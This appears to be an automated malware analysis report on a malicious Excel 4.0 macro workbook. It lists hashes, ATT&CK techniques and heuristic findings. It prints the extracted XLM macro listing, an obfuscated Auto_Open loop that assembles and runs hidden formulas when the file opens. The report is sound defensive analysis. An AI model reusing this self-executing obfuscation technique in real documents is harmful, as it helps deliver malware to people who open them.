Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 26b306992af3b9a4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:11 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: fe3d5b6cc7bfce251e1a52ba2f00b0d7 SHA-1: 229067db495bd7eebae01abbe30a69f3b9feb942 SHA-256: 26b306992af3b9a4ddb181512aa9e6714700b44fbd06a61c20f13a018aab61de
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating potential malicious execution. The presence of dangerous formula APIs like RUN further supports this. The macro sheet is likely designed to execute a payload upon opening, leveraging the Auto_Open functionality for initial execution.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6414 bytes
SHA-256: 9eb47aa07cd8b3951478134326be2e87030f30f5932eddd0b442f0d427976b06
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SZW
' 0018     20 LABEL : Cell Value, String Constant - AMkZH len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C186 
' 0018     20 LABEL : Cell Value, String Constant - cdPxo len=0 
' 0018     24 LABEL : Cell Value, String Constant - cpjfppJMU len=0 
' 0018     20 LABEL : Cell Value, String Constant - HuicZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - KcWCTNQH len=0 
' 0018     26 LABEL : Cell Value, String Constant - LBttNYhgMTm len=0 
' 0018     22 LABEL : Cell Value, String Constant - Mslbrce len=0 
' 0018     27 LABEL : Cell Value, String Constant - MYFAJXIdTbFt len=0 
' 0018     27 LABEL : Cell Value, String Constant - NBkAaBOzwQTr len=0 
' 0018     22 LABEL : Cell Value, String Constant - NXphrFs len=0 
' 0018     23 LABEL : Cell Value, String Constant - PBaRWpRQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - pCUbucibfrEN len=0 
' 0018     23 LABEL : Cell Value, String Constant - qyRnKusj len=0 
' 0018     26 LABEL : Cell Value, String Constant - RhKyXZPOOki len=0 
' 0018     23 LABEL : Cell Value, String Constant - TBoUVFDw len=0 
' 0018     23 LABEL : Cell Value, String Constant - xiOoyePn len=0 
' 0018     27 LABEL : Cell Value, String Constant - YIAUuESTwCkT len=0 
' 0018     24 LABEL : Cell Value, String Constant - YNAogLqBY len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZEnVOht len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZywdyOvnBMkk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SZW,C95,"SET.NAME("ZywdyOvnBMkk",VALUE("0"))",""
'  SZW,C97,"SET.NAME("YIAUuESTwCkT",ZywdyOvnBMkk)",""
'  SZW,C102,"SET.NAME("HuicZ",ZywdyOvnBMkk)",""
'  SZW,C104,"SET.NAME("qyRnKusj",COUNTA(LBttNYhgMTm))",""
'  SZW,C109,"SET.NAME("pCUbucibfrEN",COUNTA(NXphrFs))",""
'  SZW,C113,[],""
'  SZW,C117,"SET.NAME("cpjfppJMU","")",""
'  SZW,C119,"YIAUuESTwCkT",""
'  SZW,C122,"SET.NAME("xiOoyePn",HLOOKUP("*",LBttNYhgMTm,YIAUuESTwCkT,FALSE))",""
'  SZW,C126,"TBoUVFDw",""
'  SZW,C131,"SET.NAME("MYFAJXIdTbFt",ZywdyOvnBMkk)",""
'  SZW,C134,[],""
'  SZW,C136,"MYFAJXIdTbFt",""
'  SZW,C139,"YNAogLqBY",""
'  SZW,C144,"KcWCTNQH",""
'  SZW,C149,"PBaRWpRQ",""
'  SZW,C154,"SET.NAME("AMkZH",VALUE(HLOOKUP("*",NXphrFs,PBaRWpRQ,FALSE)))",""
'  SZW,C159,"ZEnVOht",""
'  SZW,C162,"cpjfppJMU",""
'  SZW,C164,"HuicZ",""
'  SZW,C169,NEXT(),""
'  SZW,C171,"RhKyXZPOOki",""
'  SZW,C175,"SET.NAME("f",INT(T(FORMULA(T(cpjfppJMU)&"",""&T(RhKyXZPOOki)))))",""
'  SZW,C179,"NBkAaBOzwQTr",""
'  SZW,C181,NEXT(),""
'  SZW,C184,RETURN(),""
'  SZW,C212,"SET.NAME("cdPxo",C95)",""
'  SZW,C217,"LBttNYhgMTm",""
'  SZW,C219,"SET.NAME("NXphrFs",R55C14)",""
'  SZW,C224,"SET.NAME("NBkAaBOzwQTr",235)",""
'  SZW,C229,"SET.NAME("Mslbrce",3)",""
'  SZW,C234,cdPxo(),""
'  SZW,C235,HALT(),""

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